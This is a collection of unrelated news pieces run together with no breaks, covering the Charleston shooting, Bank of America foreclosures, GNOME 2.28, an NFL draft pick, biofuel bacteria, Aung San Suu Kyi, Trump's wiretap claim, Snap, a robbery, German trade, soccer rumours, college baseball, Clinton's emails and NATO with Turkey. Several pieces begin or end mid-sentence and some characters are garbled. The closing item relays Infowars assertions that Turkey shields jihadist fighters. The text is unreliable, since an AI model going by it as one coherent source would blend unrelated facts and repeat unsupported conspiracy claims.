These are the words the Charleston shooter reportedly spoke during Wednesday night's massacre, according to Sylvia Johnson, a woman who told NBC News she spoke to a survivor of the Charleston shooting. Johnson is a cousin of pastor and state Sen. Clementa Pinckney, who was killed Wednesday night at Emanuel African Methodist Episcopal Church. Nine people were murdered in the house of worship in cold blood -- three men and six women.
We have yet to hear from the survivors of the attack directly, so there are a lot of unknowns. We can't be sure of the exact words the shooter used while he was carrying out the massacre, or the exact meaning behind them. But if Johnson's account is accurate, there is a disturbing historical context for the sentiments expressed.
A white man committed horrific acts of violence -- domestic terrorism, a hate crime -- against black men and women. He allegedly used the "protection" of white women and their sexuality as the reason behind it. It appears to be toxic white masculinity at its worst.
As Feministing columnist Choe Angyal pointed out on Twitter, this narrative is not new:
"You rape our women and you’re taking over our country." OUR women. White women. Racist violence in the name of white womanhood, yet again. — Chloe Angyal (@ChloeAngyal) June 18, 2015
The sentiment that black men rape white women more often than white men do is patently false, but it's one that carries historical significance. The United States has a storied history of white female sexuality being used as a justification for racist acts of violence.
In the late 1800s, the idea that black men were innately driven to rape white women was often used to justify the lynching of black men. In 1923, the Rosewood massacre in central Florida was launched based on the rumor that a white woman had been sexually assaulted by a black man. In 1955, 14-year-old Emmett Till was murdered by two white men for supposedly flirting with a white female grocery store cashier.
As Jamelle Bouie wrote for Slate: "Make any list of anti-black terrorism in the United States, and you’ll also have a list of attacks justified by the specter of black rape."
Dr. Lisa Lindquist-Dorr, associate professor at the University of Alabama, spoke to The Huffington Post about the historical potency of this particular sexual trope.
"It was a racial red herring that would be brought up to justify violence or legal tactics to oppress African Americans," she said. "One that wasn’t based in reality. It’s a trope that’s trotted out to justify oppression."
In her book White Women, Rape, and the Power of Race in Virginia, 1900-1960, Lindquist-Dorr explained the rape myth that dominated white, Southern culture. "The myth insisted that black men were driven to assault white women and that, as a deterrent, 'black beast rapists' should pay with their lives," she wrote.
The trope was a particularly effective one because of the way white female sexuality has historically been viewed and positioned. "Sexual access to women is a trophy of power," Lindquist-Dorr told HuffPost. "White women embodied virtue and morality, they signified whiteness and white superiority, so sexual access to white women was possessing the ultimate privilege that white men held. It [also] makes women trophies to be traded among men."
If the Charleston shooter's comments are any indication, these sentiments are still depressingly ingrained in our culture. White women's bodies are still used to explain away the destruction of black bodies and lives -- both male and female.
Some white allies are already speaking out on social media to make it abundantly clear that white women will not stand for violent hate crimes being justified in our names.
If it's true the shooter said "you rape our women and you have to go"—no. NO. I am white but I am not "yours." NOT in my name. I reject it. — ClinicEscort (@ClinicEscort) June 18, 2015
#CharlestonShooting suspect allegedly said "You Rape Our Women" during the shooting which signals deep-seated sense of entitlement. — Elizabeth Plank (@feministabulous) June 18, 2015
"They rape our women".. anyone picking up on the misogynistic "white male entitelement" element yet? #CharlestonShooting — Stephanie Lamy (@WCM_JustSocial) June 18, 2015Earlier today, when Bank of America said it was halting foreclosure sales in all 50 states, we decided to take a stroll down memory lane to revisit the wide array of foreclosure disasters that BofA has perpetrated on the homeowning public in just the year or so.
1. Aug. 2010: BofA Tries To Foreclose On Couple With Current Mortgage
Even though they have made every payment in full and on time, Bank of America sent one couple a letter asking them for the deed to their house…. Bank of America said sending the letter was an accident, the folks were completely current on their mortgage, and they would be looking into what caused the error.
2. Sept. 2010: BofA Forecloses On Man’s House, Even Though He Has No Mortgage
Bank of America stole Jason’s house from him, putting it through foreclosure even though he has no mortgage, with them or anyone, and he paid for it in cash.
3. Oct. 2009: Bank Of America Seizes Wrong House, Causes Big Stink. No, Really.
Bank of America screwed up and seized a vacation home that didn’t belong to them. They also changed the locks and shut off the power, leaving 75 pounds of salmon and halibut rotting for a week before it was discovered.
4. March 2010: Bank Of America Seizes Wrong House, Holds Parrot Hostage
After mistakenly believing that the property was in default, BoA instructed Snyder Property Services to “enter, seize, padlock, ‘winterize’ and take possession” of the plaintiff’s home. This included turning off the water, cutting power lines, filling her drains with antifreeze… and confiscating her parrot.
5. Jan. 2010: Not Having A Mortgage Doesn’t Stop Bank Of America From Foreclosing
Charlie and Maria Cardoso managed to do something few homeowners can: They own their vacation home in Florida outright, with no mortgage. But that didn’t stop Bank of America from kicking out a tenant who was renting the house, tossing out the Cardosos’ possessions, and, yes, foreclosing on the debt-free home.
FURTHER READING:
Data Shows Horrifying Bank Of America Refinance Story Actually Typical
Banks Gone Amok, Unlawfully ForeclosingThe developers behind the open source GNOME desktop environment have announced the official release of version 2.28. This version brings a handful of noteworthy improvements such as a new Bluetooth configuration tool and user interface refinements in numerous applications. One of the most significant changes is the adoption of Apple's WebKit HTML rendering engine for GNOME's Epiphany Web browser.
GNOME is a collection of software applications, development frameworks, and core desktop components that together provide a comprehensive graphical computing environment for Linux and other compatible operating systems. It includes a file manager, a task management panel, a suite of basic utilities, and various programs for communication and multimedia. It is the default desktop environment in several prominent Linux distributions, such as Ubuntu. A new stable version arrives every six months with a handful of important incremental improvements that constitute a significant portion of the user-visible changes in subsequent GNOME-based Linux distro releases.
Bluetooth support got a major overhaul in this GNOME release. The new gnome-bluetooth project, which is a fork of bluez-gnome, provides improved desktop integration and a much better user interface for managing connections with Bluetooth devices. NetworkManager integration will simplify tethering, and PulseAudio integration will make it easier to fine-tune audio behavior for headsets.
The GNOME community has become increasingly enthusiastic about the WebKit rendering engine due to its potential for bringing richer presentation capabilities to the desktop and a stronger Web browsing experience. Adoption of the GTK+ WebKit port was previously held back by accessibility concerns and general lack of maturity. In GNOME 2.28, these issues have largely been addressed. Preliminary support for screen readers is now in place and the renderer is a lot more robust than it was six months ago. This has opened the door for WebKit to be used in various parts of the GNOME desktop.
The Empathy instant messaging application has gained support for using Adium themes with a WebKit-powered message view. More significantly, WebKit has displaced Mozilla's Gecko engine as the HTML renderer in GNOME's native Epiphany Web browser. This transition has been in the works for quite some time and is a major step forward for GNOME's browser. Epiphany is quite snappy in GNOME 2.28 and scores 100/100 on the Acid3 test. Using WebKit will help differentiate Epiphany from Firefox, which is shipped as the default browser by most of the major Linux distributors.
With the release of version 2.28, GNOME has taken its first major steps towards delivering a location-aware desktop. Some of the experimental geolocation features that we looked at earlier this year are now part of the desktop. Empathy, for example, has gained a map view that can show you the location of your contacts using a new XMPP extension.
There are a lot of new little features too, such as an overview display for the Hamster time tracking tool and a PDF annotation tool for Evince, the GNOME PDF viewing utility.
The GNOME desktop is currently undergoing a significant transformation as the developers move closer towards unleashing the 3.0 release, which will offer a next-generation desktop shell and window manager. The roadmap specifies that the next stable version, which is tentatively designated 2.30, could potentially be declared the 3.0 release. A lot of architectural work is being done under the hood to accommodate that transition, with deprecated legacy technologies such as Bonobo being purged aggressively throughout the desktop.
GNOME 2.28 represents a moderately compelling incremental improvement. WebKit-based Epiphany is definitely worth a try, and I'm finally starting to warm up to Empathy thanks to the bug fixing and user interface refinements delivered in this release. The enhanced Bluetooth support is also a welcome addition. Version 2.28 is a little bit light on new features relative to some previous GNOME releases, but that's understandable as a lot of development effort is currently focused on preparing for the next-generation GNOME desktop.
For additional details about GNOME 2.28, you can refer to the official release notes.Perhaps no team was dealt a more significant draft day curveball than the New York Giants. Marc Ross, the team's vice president of player evaluation, told reporters that "it played out kind of like we thought it would," but we wonder how much of that was meant to perpetuate the unflappable persona needed by executives in the midst of a crazy night.
Either way, he and general manager Jerry Reese deserve a commendation for keeping their cool and selecting Ohio State cornerback Eli Apple. Apple, who will play in between Janoris Jenkins and Dominique Rodgers-Cromartie, immediately puts the Giants in the conversation for the best secondary in the division.
"When you have two corners in this league, you're short one," Reese said, via The New York Post. "We think we can play with anybody around the league with these three kind of guys."
Why do they deserve credit? Based on various reports, and a few conversations with sources knowledgeable of the situation, the Giants preferred Georgia linebacker Leonard Floyd -- so much so that the Bears knew how to neatly and tidily trade up one spot ahead to snag him at No. 9. The Giants also wanted another offensive tackle, but there are several working theories as to why the Titans ended up swooping back into the top 10 to get Michigan State's Jack Conklin at No. 8 â two picks ahead of the Giants at 10. Perhaps Conklin was their guy all along. Maybe the Laremy Tunsil situation threw them for a loop as well.
The Giants were left with Tunsil, a tackle believed by many analysts to be the best overall player in the draft, or the choice to swallow hard and stick to their draft board. Tunsil was in the middle of a freefall due to a video that popped up on his allegedly hacked Twitter account moments before the draft started.
They ended up selecting a player that many deemed a reach.
"We've heard it before. We've taken other players that (were called) a reach. Nobody knows. If you get a dime for every expert, I could retire," Ross said. "Come on. Experts? People analyze. People have opinions. What's it based on? Nobody has seen the tape. Nobody goes to practice. Nobody puts in the work like the scouts do. It's easy to second-guess and pick and say get everybody's pick right and tell them what they should do, but you've just got to put in the work and trust what you do."
But it is not a reach to bet on three first-round picks at cornerback, two of whom are over six feet tall. In the absence of a desired pick, the Giants made a push to strengthen a unit that was already getting better thanks to an aggressive push in free agency. The Redskins, Eagles and Cowboys will all have more dynamic passing offenses than they did a year ago and their selection is their best effort to combat that. It was a situation that could have forced some panic, but this shouldnât be labeled a panic pick.Engineered bacteria have been rewired with the genetic machinery necessary to convert cellulose into a range of chemicals, including diesel fuel. The bacteria, developed by South San Francisco company LS9 in collaboration with researchers at the University of California, Berkeley, make the necessary enzymes for every step along the synthesis pathway and can convert biomass into fuel without the need for additional processing. LS9 has demonstrated the bacteria in pilot-scale reactors and plans to scale the process to a commercial level later this year.
Bacteria power: The E. coli bacteria in this microscopic image are excreting droplets of diesel fuel. The bacteria are the small dark rods clustered in the top corners and at the bottom of the image.
Jay Keasling, professor of chemical engineering and bioengineering at UC Berkeley and one of LS9’s founders, and scientists at LS9 report engineering E. coli bacteria to synthesize and excrete the enzyme hemicellulase, which breaks down cellulose into sugars. The bacteria can then convert those sugars into a variety of chemicals–diesel fuel among them. The final products are excreted by the bacteria and then float to the top of the fermentation vat before being siphoned off.
Using these methods, it’s possible to create a range of fuels from biomass, but LS9 is focusing on diesel rather than fuels similar to gasoline for the time being, says Stephen del Cardayre, the company’s vice president of research and development. Diesel specifications are easier to meet and the market for diesel is growing by 2 to 4 percent a year, while that for gasoline is flat. Last May, LS9 partnered with Procter & Gamble to develop fuels as well as commodity chemicals.
The effort by LS9 is part of an increasing push by bioengineers to bring down the cost of biofuels by developing microbes that can turn biomass, such as switchgrass and agricultural waste, into fuels without any additional processing that would require expensive catalysts and high temperatures. Microbes can typically complete only part of the conversion, requiring post-processing to convert the chemical precursors made by the microbes. The newly engineered E. coli “are a singular vehicle that can accomplish all this at once, providing a very efficient process to make products already on the market,” says David Berry, a partner at Flagship Ventures, which cofounded LS9.
LS9’s process is built on E. coli bacteria’s metabolic machinery for converting sugars into fatty acids, which they then use to make other molecules. The advantage of working with E. coli is that the organism, a workhorse of molecular biology, is well known and easy to grow, says Keasling. And the bacterium’s fatty acid pathway is more efficient at turning feedstocks into fuel than metabolic pathways used by other synthetic biology companies.
Fatty acids are a large class of molecules that can form the basis of many commodity chemicals and fuels that are conventionally derived from petroleum. These metabolic pathways are complex networks, and taking advantage of them required changing several of the bacterium’s existing genes as well as adding new ones. After years of engineering, says Keasling, “we can get the molecule we want specifically.”
Del Cardayre says LS9 has tested the diesel-production process at its 1,000-liter pilot-scale plant in South San Francisco using sugarcane as a feedstock. The company will scale the process to a commercial level at a 75,000-liter plant this year.
LS9 isn’t the only company turning sugarcane into diesel: last year, another synthetic biology company founded by Keasling, Amyris Biotechnologies of Emeryville, CA, opened a demonstration plant in Campinis, Brazil. Amyris’s process is based around yeast engineered to convert sugars into hydrocarbon-fuel precursors. Del Cardayre says LS9 may open a plant in Brazil as well, but because the new bacteria can convert cellulose, not just sugar, the company isn’t tied to sugarcane or any other feedstock.
Jim Collins, professor of biomedical engineering at Boston University, says the question now is whether LS9’s process will be cost-effective on a large scale. “As you go from 10 gallons to thousands of gallons, the biology changes, and analyses that worked well in the lab no longer work,” notes Collins, because the microbes’ environment changes. “The interesting question in the next few years is, which company can get their yields high enough, and get their processes up to scale to keep costs down,” says Collins.Ms Suu Kyi's detention means she cannot take part in elections next year The Supreme Court in Burma has agreed to a request from the pro-democracy leader Aung San Suu Kyi to hear an appeal against her latest detention. Miss Suu Kyi was found guilty in August of violating the terms of her house arrest because a US man swam uninvited to her lakeside home in Rangoon. She was originally sentenced to three years in prison, which was later commuted to 18 months' house arrest. She has spent 14 of the past 20 years under house arrest. Aung San Suu Kyi was not in court to hear the case made on her behalf, nor were any journalists or other independent observers. But her lawyers told reporters that their request for an appeal hearing had been granted, although no date has yet been set. In theory the case rests on a legal technicality. The defence argues that the original conviction was unsound because it was based on provisions laid out in the 1974 constitution which is now defunct. The prosecution says the laws still stand regardless of the changes to the constitution. Window-dressing? The decision to hear Miss Suu Kyi's appeal comes amid signs that the military government may be altering its approach in dealing with her in the run up to planned elections next year. But diplomatic sources contacted by the BBC have cautioned against over-optimism, describing the Supreme Court decision as window-dressing, designed to give the impression of due legal process. Aung San Suu Kyi has lodged several appeals over the years, yet still she remains in detention and the chances of that changing before the elections seem remote.
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StumbleUpon What are these? E-mail this to a friend Printable versionPresident Donald Trump (AFP Photo/SAUL LOEB)
A former policy adviser to ex-President Barack Obama called out Donald Trump on Twitter Saturday for lying about Obama having Trump Towers wiretapped.
On Saturday morning, Trump accused Obama of bugging Trump Tower before the election, tweeting, “Terrible! Just found out that Obama had my ‘wires tapped’ in Trump Tower just before the victory. Nothing found. This is McCarthyism!”
As President, Trump would likely be able to prove that his predecessor had ordered warrantless wiretaps. However, as former Obama foreign policy advisor Ben Rhodes noted, presidents, sitting or otherwise, don’t have the legal authority to do any such thing.
“No President can order a wiretap. Those restrictions were put in place to protect citizens from people like you,” Rhodes tweeted back at Trump.
He then called Trump “a liar.”
You can see the tweets below:
No President can order a wiretap. Those restrictions were put in place to protect citizens from people like you. https://t.co/lEVscjkzSw — Ben Rhodes (@brhodes) March 4, 2017
Dear Pundits who lauded his speech. Is it still “presidential” to call your dignified predecessor “Bad (or sick) guy!” https://t.co/kQ0OXC4HUi — Ben Rhodes (@brhodes) March 4, 2017
No. They couldn’t. Only a liar could do that. https://t.co/G5v8q2Fm5k — Ben Rhodes (@brhodes) March 4, 2017
Kevin Lewis, a spokesman for Obama, issued
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Snap put down to increased competition as well as product performance issues stemming from updates to its app.
Snap has seen rising competition from the likes of Facebook, which has released its own Snapchat-like product called "Stories", as well as Instagram Stories, another service akin to the disappearing messaging app.
Shares of Snap could be priced as soon as March 1 and begin trading the following day on the New York Stock Exchange under the ticker "SNAP", the WSJ reported.
Read the full Wall Street Journal report here.Police are looking for two suspects who allegedly robbed a Hawaii Kai restaurant early today.
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Police are looking for two suspects who allegedly robbed a Hawaii Kai restaurant early today.
The robbery occurred at The Shack in Hawaii Kai located at the Hawaii Kai Shopping Center on Keahole Street at about 1:30 a.m.
Manager Dustin Keliikuli said the suspects allegedly brandished a gun at a bartender and forced her to open the restaurant’s safe.
The culprits took approximately $1,000 as well as a couple of cellular phones belonging to customers before they fled on foot along the marina, Keliikuli said.
The bartender immediately called 911.
No injuries were reported.
Keliikuli said the restaurant has been burglarized about four times in the past two years. “This was the first time we got robbed at gunpoint,” he said.
Police are continuing their investigation.Trade with China has been singled out as one of the main factors contributing to Germany's highest trade surplus since World War II last year, coming in at US$270.58 billion according to newly-released statistics.
German government figures show Germany's total exports rose 1.2 percent last year, while imports increased by just 0.6 percent.
Germany's exports to non-EU countries decreased by 0.2 percent in 2016, with Germany's standing as Europe's largest exporter being bolstered by trade outside the European Union, in particular with China.
Figures show exports to China last year almost doubled that of South Korea, Japan and India put together.
The Chinese Ministry of Commerce spokesperson Sun Jiwen said the strategic partnership between China and Germany has deepened in recent years.
"The political mutual trust is increasing, and the two countries have established intergovernmental consultation mechanisms between the prime ministers of both sides. As the important cornerstone of the bilateral relationship, trade and economic cooperation has been growing in a multi-level and wide-ranging way."
Both the German and Chinese governments have agreed to align their respective growth strategies to help complement each other.
This move is promoting a surge of German interest in China in areas such as intelligent manufacturing, the digital economy and regional development.
German firms also contracted almost 9,000 investment projects in China last year, worth US$28.18 billion.
Non-financial investment worth US$8.83 billion flowed into Germany last year from Chinese companies, mostly in the form of mergers and acquisitions.The following is an excerpt from the soon-to-be best-selling novel, entitled "Twitter Is Absolutely Crazy and That's Why We Love It."
Good morning, East Coast residents of the United States of America and Canada; it is Friday, August 2, 2013, and have I got a story for you.
So there was once this guy. He went by the name of Clint Dempsey. He was chosen as captain of the US national team for a handful of games this past June in which the USMNT went a perfect nine-for-nine in points during three World Cup qualifiers.
This Dempsey is a really talented soccer player, and a lot of soccer teams around the world would love to have a player of his caliber.
Including a lot of teams in the league in America, called Major League Soccer (MLS). And one one night at the beginning of August in the year of 2013 (it was only last night, in fact), that nearly happened. Except, that it didn't nearly happen at all.
The following events take place between the hours of 1 pm PT and 9 pm PT, and they occur in real time.
1:53 pm PT (4:53 pm ET)
The club interested in bringing Dempsey back to MLS is Seattle — keith costigan (@KeithCostigan) August 1, 2013
64 people retweeted that particular tweet, along with the more than 9,000 people that follow Keith Costigan who also saw it. Dempsey back in MLS would be pretty cool, wouldn't it? At the time: But still, meh, big deal. 15 other American MLS teams would love to sign Clint Dempsey, too.
5:55 pm PT (8:55 pm ET)
I think everyone needs to calm down. If Dempsey was coming I would of been spilled the beans #foodforthought — Eddie Johnson (@eddie_johnson7) August 2, 2013
At the time, this was the punchline of the evening that no one would ever forget. Eddie, just doing his usual Eddie thing — staying #smoothchillin on #postitivevibes and #positivelivin — gave the entire state of Washington the dose of reality they probably seriously needed. At the time: Eddie Johnson was the voice of reason; what is this world coming to?
Next thing anybody knew, someone — unable to confirm the absolute origin of this report — proclaimed Dempsey was spotted at San Francisco's SFO airport. San Francisco isn't very far from Seattle, you guys. At the time: Come on, this is still kind of silly, you guys.
6:57 pm PT (9:57 pm ET)
This is where you East Coasters probably started to retire for the night and missed out on the craziest night in Major League Soccer transfer rumor history. He was legitimately at the airport. I mean, he took a picture with a guy who is very obviously from Seattle and headed there himself, gave the Deuce thumbs up and looked clearly in a serious, I-mean-business mood. At the time: Clint Dempsey is going to the Sounders. Now you're really going to hate them.
7:31 pm PT (10:31 pm ET)
Well, spoke too soon. He just went to a different gate. — ¡Jorge! (@MrJorgePerea) August 2, 2013
Okay, Mr. Jorge, you gained your 100 or so new followers for the night. Your fun is over now. Thanks for that, you really made us believe it was happening — because, I mean, it was on the Internet, so it was totally a real thing that was happening. At the time: It was always too crazy to really be real anyway. Oh well.
Nothing could have been more real and confirming of an impending transfer than a picture of the actual subject of the rumors in an airport (not actually) heading to his rumored destination, right? Wrong, we were just getting started.
8:05 pm PT (11:05 pm ET) Yeah, just click that link in that tweet.
Did the Sounders just leak the news on accident? http://t.co/6NJj8CydZt — Rob Usry (@RobUsry) August 2, 2013
Hyperventilation across America. First it was on, then it was off, then it was on again — he was AT THE AIRPORT, for crying out loud — and then it was definitely off again. But then it was on the website, so it was totally on, and this was totally the time it was happening. And it was going to be incredulous. At the time: Definitely a thing, definitely happening.
To be fair to Mr. Usry, he denies being the person to "find" the story on the Sounders' front page, citing that a friend sent it to him.
So we, naturally, speculated for the next 20 minutes — could this be a real photo; was it photoshopped; was someone having fun with advance knowledge of coding; seriously the Sounders didn't screw up and "accidentally" leak this, right?
8:30 pm PT (11:30 pm ET)
You guys were all crazy for believing that picture was real. Seriously, you were. I never believed it was happening. Not even for a second. Like, you just wanted it to be happening so badly, irregardless of what team you support, that you would have believed anything that pointed towards Clint Dempsey in Rave Green. At the time: We're all such idiots. I'm going to bed this time. No, I really am.
Still, though, Seattlites showed up to the Sea-Tac airport and searched high and low for Dempsey. They were convinced they would ultimately find the Pride of Nacogdoches, except that, well, he very obviously wasn't in Seattle at all.
here he comes right http://t.co/CQePabRshl — Matt Oak (@mattoak) August 2, 2013
10:33 pm PT (1:33 pm ET)
#repost and if the rumors are true @clint_dempsey and i will be doing a lot of this in the pic at… http://t.co/rRTb6f36fm — Eddie Johnson (@eddie_johnson7) August 2, 2013
So you're saying there's hope, Eddie? That's what you're telling us, right? Right?
In conclusion, 2013 is an incredibly strange time in which to be alive, but I wouldn't have missed this one for the world.Final Stats | Photo Gallery | Box Score | Notes | Quotes
BILOXI, Miss. - For the better part of seven innings, Charlotte seemed to have its baseball game with Southern Miss well in hand in the semifinals of The First, A National Banking Association, Conference USA Championship.
Hunter Slater, Tracy Hadley and Taylor Braley and the rest of the Golden Eagles had other ideas.
Southern Miss erased a 5-1 deficit over the last two innings, with Braley's two-run, walk-off home run in the bottom of the ninth inning giving the top-seeded Golden Eagles a 6-5 victory over the fourth-seeded 49ers at MGM Park Saturday afternoon.
"They're a bunch of guys you just never doubt," Southern Miss coach Scott Berry said. "We've seen it time and time again, and saw it again (Saturday).
The teams will face each other again at 7:30 p.m., with the winner going on to face Rice in the tournament championship game at 1 p.m. Sunday.
The Golden Eagles (47-13) had to win twice Saturday after losing in the opening round and having to come back through the elimination bracket. The 47 victories ties for the most wins in a season for Southern Miss.
Charlotte (34-23) was just three outs away from reaching its first C-USA title game since 1998 before the Golden Eagles pulled off their seventh walk-off win of the season.
"It's two teams playing at a real high level and they were just a little bit better than we were," Charlotte coach Loren Hibbs said.
Charlotte led from the first pitch on, when leadoff man Zach Jarrett took the first offering from Southern Miss left-hander over the left-field wall for a 1-0 lead.
The 49ers nicked Powers for two more runs in the second, the first on Harris Yett's single and the other on a fielding/throwing error by Hadley.
Roberts entered in the third inning, and allowed 2 runs on three hits over the next 5 2/3 innings, including a run in the fifth on Brett Zetzer's sacrifice fly to put the 49ers ahead 4-0.
The Golden Eagles got one back in fifth when Mason Irby scored on Matt Wallner's run-scoring double, but Charlotte got that run back in the top of the eighth inning on Reece Hampton's bloop double into shallow center field off reliever Nick Sandlin.
The 49ers were up 5-1 and six outs away from Sunday.
"It wasn't pretty for seven innings, other than Hayden Roberts going out there and keeping Charlotte down and giving this offense a chance because we feel like if there're still outs on the board, we can score runs, and that's what they did," Berry said.
Indeed.
Braley walked and Wallner was hit by a pitch to lead off the eighth inning, bringing in reliever Josh Maciejewski from the bullpen.
Slater greeted him with a two-run triple ripped just inside the first-base bag and into the right-field corner, scoring Braley and Wallner and getting the Golden Eagles to 5-3. Hadley then lined a single into left field to pull Southern Miss within 5-4.
Bryant Bowen followed with an infield single, and USM had runners on first and second with no outs.
But Matthew Guidry popped out on a bunt attempt and the inning ended on two, long fly balls.
Sandlin (9-1) held down the top of the ninth, setting up the dramatics in the bottom of the inning when Braley connected off Maciejewski (5-5) for his 16th home run of the season following a leadoff single by Irby.
The ball disappeared into the trees just beyond the left-field netting, and a few moments later, Braley disappeared into the mob awaiting him at home plate.
"Honestly, I had a feeling he was going to leave the yard," Berry said. "He's just that kind of player."Close allies of Hillary Clinton are encouraging the Democratic front-runner to spend less time honing her attacks on Donald Trump — and more time focusing on a clear and positive message about her own campaign.
But the State Department inspector general’s report released last week has thrown an email-shaped roadblock into Clinton’s path as she attempts to whittle down her high negative ratings. And that has complicated the already difficult task of reshaping perceptions about a universally known candidate.
Story Continued Below
“From her point of view, establishing positives is far more important to winning,” Mark Penn, Clinton’s former chief strategist who remains close to the family, said in a rare interview about the current campaign. "Why spend so much energy attacking Trump, what difference does it make, when he’s over 57 percent negative and she has a lot of leadership qualities that have gone unsung? It's like beating a dead horse.”
Trump and Clinton are currently tied on unfavorability, with 57 percent of registered voters saying they hold unfavorable views of the candidates, according to a Washington Post-ABC News poll released last week. The ongoing email saga, which has been hanging over Clinton since before she even launched her campaign, has played a role in eroding voters' sense of trust in the former secretary of state.
But whatever the cause of her high unfavorables, Penn said, the category of voters who dislike both Clinton and Trump is simply “too big. The real key to her election now is less about thumping Trump and more raising her positive leadership and vision.”
It's a point many Democrats have begun to make as Clinton spends more time on the trail attacking Trump, even amid hand-wringing about Clinton’s slow response to his attacks. While it's necessary to go after her rival, said another 2008 campaign veteran, Geoff Garin, now a pollster for Priorities USA, "there would be a real benefit in building her positive case.”
That task, however, was impeded yet again as Clinton campaigned across California last week. New questions about her use of a private email server while she was at the State Department emerged with the release of the IG report — the email issue still hampering her ability to get out a clear message, 13 months after she first pointed her Scooby van toward Iowa.
There was no smoking gun in the long-anticipated IG report, which did not conclude that Clinton broke the law. But its release created unwanted smoke at a moment when Clinton is hoping to end Bernie Sanders’ stubborn primary challenge and define herself, as well as the stakes of a general election, ahead of the two conventions this summer.
Instead of hammering home her message of inclusion, or celebrating her status as the first woman on the verge of becoming her party’s nominee, Clinton was on the email ropes again Tuesday, one week before the California primary.
"I think what she did was very bad and I think a lot of people have done a lot less than her and their lives have been destroyed,” Trump said at a news conference Tuesday when asked whether Clinton committed a felony.
There is no proof that she did — and even Trump stopped short of accusing Clinton of breaking the law. But after saying she would cooperate fully with investigations into her email use, Clinton declined to be interviewed, the 83-page report revealed.
The report also revealed that State Department officials who brought up concerns about the private email server were told “never to speak of the Secretary’s personal email system again” and that Clinton never asked permission to set up her private email server. It all fed the worst caricatures painted by Clinton's detractors — that she’s pathologically dishonest. So did the lack of a detailed explanation of why Bryan Pagliano, a State Department employee, was providing her with technical support when his supervisors were unaware of the arrangement.
Those questions are likely to remain in a gray area until November: Clinton’s game plan moving forward is to keep her head down and move the email issue to the side rather than try and explain it all away, while reiterating that what she did was a mistake, campaign officials said.
“At this point, there is no such thing as a low-information voter on the issue of emails, and yet, Hillary Clinton is set to emerge from the primary with more raw votes than either Bernie Sanders or Donald Trump,” said spokesman Brian Fallon. “She has acknowledged it was a mistake and answered the pressing questions on this issue, and now we intend to focus the remaining months of the campaign on the issues most important to working families."
But even while the campaign attempts to push forward a positive message that addresses the issues that matter to voters, Clinton’s message was stymied by email questions on Tuesday.
“I’ve said many times, it was still a mistake and if I could go back I would do it differently,” Clinton told CNN’s Jake Tapper. “I understand people may have concerns about this. But I hope voters look at the full picture of everything I've done in my career and the full threat posed by a Donald Trump presidency, and if they do, I have faith in the American people that they will make the right choice here.”
Clinton gave the same answer — verbatim — in an interview with MSNBC’s Chris Hayes following her CNN hit. When pressed by Hayes about why her staffers had warned people to stop asking about her use of a private email setup, Clinton did not go off script. “It’s not anything that I am aware of,” she said, shutting down that new line of email inquiry.
"The strategy of, let's tell everyone everything about this, won’t work now and will just result in more questions,” one longtime Clinton ally said of the approach. “The goal now is to how to make this election about something else other than email.”
Last spring, it took months after the news of Clinton’s private email server first broke before the candidate and her campaign reached that same conclusion. Clinton’s lawyerly instincts at first led her to resist advice to go public with everything she had on the issue — and made her grind her heels in when it came to offering an apology for her behavior.
One year and one IG report later, Clinton and her team have been quicker to settle on a response that appears a blend of both instincts — giving not an inch more on the issue, but reiterating that what she did was, in retrospect, wrong. "There's no alternative," another longtime adviser close to Clinton said regarding how to move forward.
Clinton allies said they were relieved to be over one of the two pending investigations — and hoped the FBI would wrap up its investigation soon so that the campaign could move on once and for all.
poster="http://v.politico.com/images/1155968404/201605/1624/1155968404_4921181457001_4920939656001-vs.jpg?pubId=1155968404" true
“There is nothing in it to change anything people thought about Hillary,” Garin said of the IG report. “From the voters’ perspective, what people care about is who’s going to help them and who might hurt them.”
But the ongoing email saga has fueled the perception that Clinton remains evasive, especially with the press that Trump engages with more freely.
Last week, she avoided taking questions from the traveling press corps at rallies across California, even ignoring questions yelled at her from feet away along the rope line. Instead, she settled on responding to the report with one “pooled” television interview, angering the press corps that travels with her, who were given no access to the candidate.
It was a marked difference in tactics from a campaign trip to Las Vegas last August, when Clinton did engage in a rare news conference to answer email questions. There, she made a memorable gaffe while responding to a question about whether she had tried to wipe her server: “What, like, with a cloth or something?”
A campaign aide said Clinton was not trying to avoid another “with a cloth” scenario by passing on a news conference this time around — the aide said the campaign decided against that format because it would have faced criticism from many news outlets for taking questions with only a bare-bones press corps present the week before Memorial Day.
But a single television interview also allowed Clinton to limit her exposure on the issue. “If she starts answering questions,” said one Clinton ally close to the campaign, “it becomes Chinese water torture. I think she has said all there is to say on this and needs to put it behind her. If you start to fall into a trap of responding to every little nuance, you lose.”
“It’s the right strategy,” agreed former Pennsylvania Gov. Ed Rendell, a Clinton supporter. “Right now, most voters, except Hillary haters, have decided about the emails. Most voters have decided that she probably make a mistake but that there was nothing illegal about it. Who got harmed? The error has only accrued to herself."During a meeting of defense ministers in Brussels on Thursday, the NATO secretary-general said that the alliance was prepared to send ground troops to protect Turkey following violations of Turkish airspace by Russian jets.
Jens Stoltenberg, said that the organisation intended to “send a clear message” to show that the world’s most powerful military alliance was prepared to act in defence of its citizens. “Nato will defend you, Nato is on the ground, Nato is ready,” he said.
Nato is able and ready to defend all allies, including Turkey, against any threat,” Mr Stoltenberg continued
Just met #Turkey FM to express #NATO solidarity. I call on Russia to respect NATO airspace&avoid escalating tensions http://t.co/oOVRLmjB5W — Jens Stoltenberg (@jensstoltenberg) October 5, 2015
But will this deployment effectively provide military support for ISIS and al-Nusra?
Kurt Nimmo via Infowars reports:
Ankara scrambled two F-16s to intercept the Russian aircraft and summoned the Russian ambassador in protest.
According to McClatchy, however, the Russian jet did not violate Turkish airspace:
A Turkish security official said Turkish radar locked onto the Russian aircraft as it was bombing early Friday in al Yamdiyyah, a Syrian village directly on the Turkish border. He said Turkish fighter jets would have attacked had it crossed into Turkish airspace.
But a U.S. military official suggested the incident had come close to sparking an armed confrontation. Reading from a report, he said the Russian aircraft had violated Turkish air space by five miles and that Turkish jets had scrambled, but that the Russian aircraft had returned to Syrian airspace before they could respond.
McClatchy also notes Turkey has moved its border:
Turkey has maintained a buffer zone five miles inside Syria since June 2012, when a Syrian air defense missile shot down a Turkish fighter plane that had strayed into Syrian airspace. Under revised rules of engagement put in effect then, the Turkish air force would evaluate any target coming within five miles of the Turkish border as an enemy and act accordingly.
The so-called “buffer zone” — allegedly established to protect refugees and stage military operations aimed at ISIS — is a de facto no-fly zone used to protect jihadist fighters entering the country from Turkey.
More Evidence of Turkish Collusion with ISIS
